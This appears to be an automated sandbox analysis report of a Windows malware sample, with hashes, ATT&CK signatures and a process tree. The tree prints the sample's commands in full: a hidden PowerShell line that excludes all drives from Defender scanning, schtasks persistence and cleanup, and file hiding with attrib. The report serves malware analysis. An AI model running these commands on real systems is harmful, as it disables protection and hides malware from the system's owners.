2535dce0ca29cce2e125749bc5dbc1ab4858c49aaa045e662c6c9613042ce083

Analysis

user interaction
yes
max time kernel
160s
max time network
178s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/07/2026, 03:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Output.exe
Size 2.4MB
Sample260730-eke1qssxcs
SHA256 2535dce0ca29cce2e125749bc5dbc1ab4858c49aaa045e662c6c9613042ce083
MD5 e6112cff0fe89790566f290bf2b8cf35
SHA1 dabd2e712a16b310698abc61c94b8ee9acc02752
SHA512 f7ff8914a6c5594b58ea64d9520760287f3d46f01562cc641dbf98c73989f5f74f9307c2fe9d3b1339d32b552985019c5ab50b995c8b2d5aba418e001f162682
SSDEEP 49152:K3qPSVGPzL6gXcLCCuxRReNWrD2Pmgl5YK9VP1acXjf0FAPO:Mq3zL6ooCCusKD2Bl5X9vacciO
TLSH
T1ECB5238F25902E26F6148BF106B444485EACE9FAD6D87D9B4343A7B23673C50F3D6B09
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3924	powershell.exe
3924	powershell.exe

Executes dropped EXE 9 IoCs

pid	Process
2408	MasonClient.bat
5704	CredentialMgrBroker.exe
1776	CredentialMgrBroker.exe
1556	CredentialMgrBroker.exe
2228	72y99x.COM
2656	72y99x.COM
992	MBR2.exe
3000	TROLL5.exe
252	TROLL2.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
4808	cmd.exe

Drops desktop.ini file(s) 7 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Videos\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	wmplayer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	wmplayer.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	wmplayer.exe
File opened (read-only)	\??\H:	unregmp2.exe
File opened (read-only)	\??\M:	unregmp2.exe
File opened (read-only)	\??\T:	unregmp2.exe
File opened (read-only)	\??\X:	unregmp2.exe
File opened (read-only)	\??\Y:	unregmp2.exe
File opened (read-only)	\??\Q:	wmplayer.exe
File opened (read-only)	\??\X:	wmplayer.exe
File opened (read-only)	\??\J:	unregmp2.exe
File opened (read-only)	\??\P:	unregmp2.exe
File opened (read-only)	\??\W:	unregmp2.exe
File opened (read-only)	\??\Z:	unregmp2.exe
File opened (read-only)	\??\A:	wmplayer.exe
File opened (read-only)	\??\O:	wmplayer.exe
File opened (read-only)	\??\S:	wmplayer.exe
File opened (read-only)	\??\D:	unregmp2.exe
File opened (read-only)	\??\K:	unregmp2.exe
File opened (read-only)	\??\S:	unregmp2.exe
File opened (read-only)	\??\G:	unregmp2.exe
File opened (read-only)	\??\L:	unregmp2.exe
File opened (read-only)	\??\N:	unregmp2.exe
File opened (read-only)	\??\U:	unregmp2.exe
File opened (read-only)	\??\N:	wmplayer.exe
File opened (read-only)	\??\R:	wmplayer.exe
File opened (read-only)	\??\Y:	wmplayer.exe
File opened (read-only)	\??\Z:	wmplayer.exe
File opened (read-only)	\??\O:	unregmp2.exe
File opened (read-only)	\??\Q:	unregmp2.exe
File opened (read-only)	\??\R:	unregmp2.exe
File opened (read-only)	\??\V:	unregmp2.exe
File opened (read-only)	\??\H:	wmplayer.exe
File opened (read-only)	\??\I:	wmplayer.exe
File opened (read-only)	\??\L:	wmplayer.exe
File opened (read-only)	\??\V:	wmplayer.exe
File opened (read-only)	\??\A:	unregmp2.exe
File opened (read-only)	\??\G:	wmplayer.exe
File opened (read-only)	\??\J:	wmplayer.exe
File opened (read-only)	\??\B:	unregmp2.exe
File opened (read-only)	\??\I:	unregmp2.exe
File opened (read-only)	\??\B:	wmplayer.exe
File opened (read-only)	\??\D:	wmplayer.exe
File opened (read-only)	\??\P:	wmplayer.exe
File opened (read-only)	\??\T:	wmplayer.exe
File opened (read-only)	\??\K:	wmplayer.exe
File opened (read-only)	\??\M:	wmplayer.exe
File opened (read-only)	\??\U:	wmplayer.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4808	cmd.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5500	cmd.exe

Checks system information in the registry 2 TTPs 8 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	CredentialMgrBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	CredentialMgrBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	CredentialMgrBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	CredentialMgrBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	MasonClient.bat
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	MasonClient.bat
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	CredentialMgrBroker.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	CredentialMgrBroker.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2728	cmd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\UPnP Device Host\upnphost\udhisapi.dll	svchost.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4808	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3876	cmd.exe
5620	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmplayer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	unregmp2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TROLL5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TROLL2.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4508	PING.EXE

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	Output.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3797332335-34111092-3597280141-1000\{0823E5F1-5472-458A-9BE3-47DBCA02FB61}	wmplayer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer	wmplayer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-wmplayer\CLSID = "{cd3afa96-b84f-48f0-9393-7edc34128127}"	wmplayer.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4508	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4940	schtasks.exe
788	schtasks.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2408	MasonClient.bat
2408	MasonClient.bat
2408	MasonClient.bat
2408	MasonClient.bat
5704	CredentialMgrBroker.exe
5704	CredentialMgrBroker.exe
5704	CredentialMgrBroker.exe
5704	CredentialMgrBroker.exe
1776	CredentialMgrBroker.exe
1776	CredentialMgrBroker.exe
1776	CredentialMgrBroker.exe
1776	CredentialMgrBroker.exe
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe
1556	CredentialMgrBroker.exe
1556	CredentialMgrBroker.exe
1556	CredentialMgrBroker.exe
1556	CredentialMgrBroker.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4116	unregmp2.exe
Token: SeCreatePagefilePrivilege	4116	unregmp2.exe
Token: SeShutdownPrivilege	2776	wmplayer.exe
Token: SeCreatePagefilePrivilege	2776	wmplayer.exe
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeIncreaseQuotaPrivilege	3924	powershell.exe
Token: SeSecurityPrivilege	3924	powershell.exe
Token: SeTakeOwnershipPrivilege	3924	powershell.exe
Token: SeLoadDriverPrivilege	3924	powershell.exe
Token: SeSystemProfilePrivilege	3924	powershell.exe
Token: SeSystemtimePrivilege	3924	powershell.exe
Token: SeProfSingleProcessPrivilege	3924	powershell.exe
Token: SeIncBasePriorityPrivilege	3924	powershell.exe
Token: SeCreatePagefilePrivilege	3924	powershell.exe
Token: SeBackupPrivilege	3924	powershell.exe
Token: SeRestorePrivilege	3924	powershell.exe
Token: SeShutdownPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeSystemEnvironmentPrivilege	3924	powershell.exe
Token: SeRemoteShutdownPrivilege	3924	powershell.exe
Token: SeUndockPrivilege	3924	powershell.exe
Token: SeManageVolumePrivilege	3924	powershell.exe
Token: 33	3924	powershell.exe
Token: 34	3924	powershell.exe
Token: 35	3924	powershell.exe
Token: 36	3924	powershell.exe
Token: SeIncreaseQuotaPrivilege	3924	powershell.exe
Token: SeSecurityPrivilege	3924	powershell.exe
Token: SeTakeOwnershipPrivilege	3924	powershell.exe
Token: SeLoadDriverPrivilege	3924	powershell.exe
Token: SeSystemProfilePrivilege	3924	powershell.exe
Token: SeSystemtimePrivilege	3924	powershell.exe
Token: SeProfSingleProcessPrivilege	3924	powershell.exe
Token: SeIncBasePriorityPrivilege	3924	powershell.exe
Token: SeCreatePagefilePrivilege	3924	powershell.exe
Token: SeBackupPrivilege	3924	powershell.exe
Token: SeRestorePrivilege	3924	powershell.exe
Token: SeShutdownPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeSystemEnvironmentPrivilege	3924	powershell.exe
Token: SeRemoteShutdownPrivilege	3924	powershell.exe
Token: SeUndockPrivilege	3924	powershell.exe
Token: SeManageVolumePrivilege	3924	powershell.exe
Token: 33	3924	powershell.exe
Token: 34	3924	powershell.exe
Token: 35	3924	powershell.exe
Token: 36	3924	powershell.exe
Token: SeShutdownPrivilege	2776	wmplayer.exe
Token: SeCreatePagefilePrivilege	2776	wmplayer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2776	wmplayer.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 4444	2776	wmplayer.exe	89
PID 4444 wrote to memory of 4116	4444	unregmp2.exe	90
PID 4680 wrote to memory of 2408	4680	Output.exe	93
PID 2408 wrote to memory of 5704	2408	MasonClient.bat	94
PID 5704 wrote to memory of 1776	5704	CredentialMgrBroker.exe	95
PID 5704 wrote to memory of 3876	5704	CredentialMgrBroker.exe	96
PID 3876 wrote to memory of 2624	3876	cmd.exe	98
PID 5704 wrote to memory of 4808	5704	CredentialMgrBroker.exe	99
PID 4808 wrote to memory of 3404	4808	cmd.exe	101
PID 4808 wrote to memory of 3924	4808	cmd.exe	102
PID 5704 wrote to memory of 5620	5704	CredentialMgrBroker.exe	104
PID 5620 wrote to memory of 2080	5620	cmd.exe	106
PID 5620 wrote to memory of 4940	5620	cmd.exe	107
PID 5704 wrote to memory of 2728	5704	CredentialMgrBroker.exe	108
PID 2728 wrote to memory of 768	2728	cmd.exe	110
PID 2728 wrote to memory of 4492	2728	cmd.exe	111
PID 5704 wrote to memory of 5500	5704	CredentialMgrBroker.exe	115
PID 5500 wrote to memory of 3504	5500	cmd.exe	117
PID 5500 wrote to memory of 788	5500	cmd.exe	118
PID 5500 wrote to memory of 1492	5500	cmd.exe	119
PID 5500 wrote to memory of 4508	5500	cmd.exe	120
PID 5500 wrote to memory of 708	5500	cmd.exe	122
PID 5704 wrote to memory of 2656	5704	CredentialMgrBroker.exe	123
PID 2228 wrote to memory of 992	2228	72y99x.COM	124
PID 2228 wrote to memory of 3000	2228	72y99x.COM	125
PID 2228 wrote to memory of 252	2228	72y99x.COM	126

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4492	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Output.exe
"C:\Users\Admin\AppData\Local\Temp\Output.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Users\Admin\AppData\Local\Temp\MasonClient.bat
  "C:\Users\Admin\AppData\Local\Temp\MasonClient.bat"
  2⤵
  - Executes dropped EXE
  - Checks system information in the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe" --r
    3⤵
    - Executes dropped EXE
    - Checks system information in the registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5704
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe" --wd 5704
      4⤵
      Executes dropped EXE
      Checks system information in the registry
      Suspicious behavior: EnumeratesProcesses
      PID:1776
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && ƒ „!ö˜÷30ª³@‘B¸ïë¬€…¹)œë@dlaâú£dÑN/Ú“•[”–Mé¡æa£ýá?,`ŽÊ¡Fˆ¡ròÓ`„ª÷øbŠQ¹‘Â×nê
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3876
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2624
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
      4⤵
      Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
      Hide Artifacts: Hidden Window
      Hide Artifacts: Ignore Process Interrupts
      Suspicious use of WriteProcessMemory
      PID:4808
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3404
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3924
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && schtasks /create /f /sc onlogon /tn "CredentialMgrBroker" /tr "\"C:\Users\Admin\AppData\Roaming\CredentialMgrBroker.exe\"" /ru ""
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5620
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2080
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /tn "CredentialMgrBroker" /tr "\"C:\Users\Admin\AppData\Roaming\CredentialMgrBroker.exe\"" /ru ""
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4940
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe"
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:2728
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:768
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\CredentialMgrBroker.exe"
        5⤵
        Views/modifies file attributes
        
        PID:4492
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && schtasks /create /tn "mu_4140_240916328" /tr "\"C:\Users\Admin\AppData\Local\Temp\72y99x.COM\"" /sc once /st 00:00 /f /it >nul 2>&1 && schtasks /run /tn "mu_4140_240916328" >nul 2>&1 && ping -n 3 127.0.0.1 >nul 2>&1 && schtasks /delete /tn "mu_4140_240916328" /f >nul 2>&1
      4⤵
      Indicator Removal: Clear Persistence
      Suspicious use of WriteProcessMemory
      PID:5500
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:3504
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "mu_4140_240916328" /tr "\"C:\Users\Admin\AppData\Local\Temp\72y99x.COM\"" /sc once /st 00:00 /f /it
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:788
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /run /tn "mu_4140_240916328"
        5⤵
        
        PID:1492
    - - C:\Windows\system32\PING.EXE
        
        ping -n 3 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4508
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn "mu_4140_240916328" /f
        5⤵
        
        PID:708
  - - C:\Users\Admin\AppData\Local\Temp\72y99x.COM
      "C:\Users\Admin\AppData\Local\Temp\72y99x.COM"
      4⤵
      Executes dropped EXE
      PID:2656
    - - C:\Users\Admin\AppData\Local\Temp\MBR2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MBR2.exe"
        5⤵
        
        PID:3340
      - C:\Windows\System32\MatrixMBR.exe
        
        "C:\Windows\System32\MatrixMBR.exe"
        6⤵
        
        PID:5368
        
        C:\Users\Admin\AppData\Local\Temp\GDI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GDI.exe"
        7⤵
        
        PID:3804
        
        C:\Users\Admin\AppData\Local\Temp\MBR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MBR.exe"
        7⤵
        
        PID:1380
    - - C:\Users\Admin\AppData\Local\Temp\TROLL5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\TROLL5.exe"
        5⤵
        
        PID:2344
    - - C:\Users\Admin\AppData\Local\Temp\TROLL2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\TROLL2.exe"
        5⤵
        
        PID:1040

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding
1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\SysWOW64\unregmp2.exe
  "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Windows\system32\unregmp2.exe
    "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:4116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
1⤵
- Drops file in Windows directory
PID:4468

C:\Users\Admin\AppData\Roaming\CredentialMgrBroker.exe
"C:\Users\Admin\AppData\Roaming\CredentialMgrBroker.exe"
1⤵
- Executes dropped EXE
- Checks system information in the registry
- Suspicious behavior: EnumeratesProcesses
PID:1556

C:\Users\Admin\AppData\Local\Temp\72y99x.COM
"C:\Users\Admin\AppData\Local\Temp\72y99x.COM"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2228
- C:\Users\Admin\AppData\Local\Temp\MBR2.exe
  "C:\Users\Admin\AppData\Local\Temp\MBR2.exe"
  2⤵
  - Executes dropped EXE
  PID:992
- - C:\Windows\System32\MatrixMBR.exe
    "C:\Windows\System32\MatrixMBR.exe"
    3⤵
    PID:3668
  - - C:\Users\Admin\AppData\Local\Temp\GDI.exe
      "C:\Users\Admin\AppData\Local\Temp\GDI.exe"
      4⤵
      PID:1284
  - - C:\Users\Admin\AppData\Local\Temp\MBR.exe
      "C:\Users\Admin\AppData\Local\Temp\MBR.exe"
      4⤵
      PID:1348
- C:\Users\Admin\AppData\Local\Temp\TROLL5.exe
  "C:\Users\Admin\AppData\Local\Temp\TROLL5.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3000
- C:\Users\Admin\AppData\Local\Temp\TROLL2.exe
  "C:\Users\Admin\AppData\Local\Temp\TROLL2.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:252

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004E8
1⤵
PID:3520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 256KB
SHA256 a776aec276440a16f14379a39728055b65a189b782fbf84072791e16992badd2
MD5 c28bb7b5c73f3f447d831a9d4c673f60
SHA1 1625d9728d9fde495609888c9e9f179ed5a96292
SHA512 18e17f69b932fd158b008a3e897062e4a7aab1218f435e89c76c1da2d1dc0e708d7afe829b5b7d0da60090f60526173e38c5aa98ef7b7a0a014aabeef7ba2ce7
SSDEEP 768:af0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr1vfEwPRzitFrz:a69
TLSH
T1BF440137E5A0B084DF2CB571E2AC1F48BA73250B01E416465FF4A57DBB233D6890B1EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CurrentDatabase_400.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb
Size 1024KB
SHA256 931e3c5ee4139948f704a075be918563ee13b55f30569c75da0ce7c56f0f2036
MD5 d121194a6de92614d2a862eeaf3157d2
SHA1 e5f9dda5981401170a934ccd5b0641dfd8b9c51f
SHA512 e6032150faeee241641cb7238e32b08f31267d7c7927ab2db80dd1aaae6641f06a7aefe9ffb567bbbeca8c17f97a3f46e820aec86d05ed24317d66fcd369b627
SSDEEP 768:G0aleDxcg7KGVp3zT13VuI61HOdrrA9abhr8fEwPRzitFrzAqUmNKX08oJImdba7:oZP2tFP3vqY8+qEMhTaBacg
TLSH
T1A8259437D190B0C5CE2CB071E9ED8F09BA23B10B11A052465FF8A57E7A533D99D1B1EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LocalMLS_3.wmdb

Path C:\Users\Admin\AppData\Local\Microsoft\Media Player\LocalMLS_3.wmdb
Size 68KB
SHA256 48a82dfcff27437606725ec9f4801dcad8b72e69f59aed224b9d1ca4001531db
MD5 af571b3661d0485a76bb434ae26f2f78
SHA1 d4ac3cf3d57a1a443c4bc7c7e5bb7c7b3bccb258
SHA512 eec535fdee0ed4d6e958a8a8ed92612bd0609295a35290a6e2906bbba034d082aba5bf13c7a08fa546d4c6d1ff683e542498a2956b2d664655bb9c922ca70107
SSDEEP 96:O9ltGNXtzUMUst77XtQUMbstCyUMlstwOXtJL2tOLXt6tFAtjt:OOnCn3yn6
TLSH
T13F63DE502BE81659F3F72E707AF655161E3A78A15E39E64D82A4424E0D70F2CFE30F22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WMSDKNS.XML.bak

Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML.bak
Size 9KB
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
SSDEEP 96:/YkZRAF6zyHUhm77yB1pZYCEnfHrHH7B6xTGH+YCLV3zwULJEYCJWyHBt3zwFRh+:/2FV0bBPCfUdY
TLSH
T10022A2A194818DD206290E275DB95C0DDA8CE9D3832C24997C9EEB7FDFB1C00355FB6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

72y99x.COM

Path C:\Users\Admin\AppData\Local\Temp\72y99x.COM
Size 921KB
SHA256 c1aeab35f61f12db28274d82713bff400b808625854a18e49504022f92805e31
MD5 d0ae6aea701de9f127f91e7efdb50252
SHA1 cb9ef64cbcb999372fb4046e99fe89a03df9bc81
SHA512 505d11808e9923ff0ec1a51acd51509711f8c5c42da81b47a97249954b06f6f45ddda4655446daeb7f231785cd484ebc6e9ada92b857ad3a8d7ce04276536f13
SSDEEP 24576:lCFZOZHLhrN+f4SULfWyBPzB8JAk4cQATb:oF+LL+fIWybB8
TLSH
T15915339832772A1FC8E73B37E5E739A463AE323D1936215C04A5F37D1E415C05726EA2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GDI.exe

Path C:\Users\Admin\AppData\Local\Temp\GDI.exe
Size 11KB
SHA256 e153def894c867923dd56a7025b7b0b7bd3ee37c801a5957201d39f999bb28bf
MD5 c08ae6d9c6ecd7e13f827bf68767785f
SHA1 e71c2ec8d00c1e82b8b07baee0688b0a28604454
SHA512 c28bbe8abc66ad2433e5a3b93a4601b28225e86cb4bff077fd3224adfa63164bebfa3002a42b1cb4cb3c7ccad0208f8b143b8a17099bea04fcb964e667c7a1c0
SSDEEP 192:99qzCdTRiOurQItQ6YTkMfTiC96Tp80/Yc/75e:PXdTROQItQTTka2O6Tp3/Yc/g
TLSH
T1B432191197D08276ED320AB278A35742CB77EB57D967DABE348C912BBF732014293361
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MBR.exe

Path C:\Users\Admin\AppData\Local\Temp\MBR.exe
Size 93KB
SHA256 acddde9514e3b9d5c40b3d1750af5f4187c99f8987b027d6da44fb6bcf79b3ca
MD5 d2fc66cf781a2497fceb4041a93cc676
SHA1 480b1aa31b0b31fc0e0833afbba06533ab9a90ee
